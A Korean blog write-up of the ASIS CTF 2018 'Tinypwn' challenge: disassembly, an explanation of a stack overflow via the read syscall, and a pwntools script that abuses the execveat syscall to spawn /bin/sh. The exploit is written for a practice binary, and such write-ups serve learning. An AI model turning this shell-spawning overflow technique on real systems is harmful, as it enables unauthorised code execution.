ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • ASIS CTF 2018 Tinypwn
    Hack/Pwnable 2018. 8. 30. 01:23

    @markdown 


    보고서쓰고 문제만들고 하면서 열났던 머리를 식히기 위해 전에 풀었던 문제 롸이트업이나 적어보려 한다.

    ```

    xor     rax, rax

    xor     rbx, rbx

    xor     rcx, rcx

    xor     rdx, rdx

    xor     rdi, rdi

    xor     rsi, rsi

    xor     r8, r8

    xor     r9, r9

    xor     r10, r10

    xor     r11, r11

    xor     r12, r12

    xor     r13, r13

    xor     r14, r14

    xor     r15, r15

    xor     rbp, rbp

    call    sub_4000F2

    mov     eax, 60

    xor     rdi, rdi        ; error_code

    xor     rsi, rsi

    xor     rdx, rdx

    syscall                 ; LINUX - sys_exit

    ```


    모든 레지스터를 0으로 초기화하고 sub_4000F2함수를 호출한 뒤 exit 시스콜을 호출해 프로그램을 종료한다.


    4000F2 함수 내용을 보자


    ```

    sub     rsp, 128h

    mov     rsi, rsp

    mov     edx, 148h

    syscall                 ; LINUX - sys_exit

    add     rsp, 128h

    retn

    ```


    스택을 할당하고 eax가 0인 상태에서 두번째인자는 rsp이고 세번째 인자는 0x148이다. 0 시스콜을 확인해보면 read함수이다. 

    딱 보면 오버플로우가 발생한다. 바이너리는 이게 끝이다. 엄청 간단하다.


    여기서 생각해봐야할 것은 64비트이며, read 함수는 실행되고나서 입력한 길이가 리턴된다.


    간단하게 생각해보자.


    rsi는 우리가 컨트롤 할 수 있는 스택이다. rsi를 컨트롤이 가능하며, eax는 오버플로 낼 수 있는 만큼의 길이로 eax를 세팅할 수 있다.


    그럼 어떻게 해야할까 


    시스템콜을 뒤져보면 64비트에선 execveat 이라는 함수가 존재한다. 시스콜 넘버로는 322번이다. 입력 길이를 322로 하고, rsi 포인터는 /bin/sh라는 값을 가져야하고, RIP는 syscall 로 덮어주면 된다.

    그럼 execveat이 /bin/sh를 받아 실행해 주겠지


    ```

    from pwn import *

    p = process("./tinypwn")


    sys = 0x4000ed


    payload = "/bin/sh\x00"

    payload += p64(sys) * (312/8) + "\x00\x00"


    open("dump", "wb").write(payload)


    p.send(payload)

    p.interactive()

    ```


    'Hack > Pwnable' 카테고리의 다른 글

    Helper Python  (0) 2018.10.22
    Shallow Copy 문제점  (0) 2018.01.29
    File Stream Pointer에 관한 글  (6) 2017.01.24
    nc서버 열기 (XINETD)  (0) 2016.12.19
    malloc large_chunk exploit scenario  (2) 2016.12.02

    댓글

Designed by Tistory.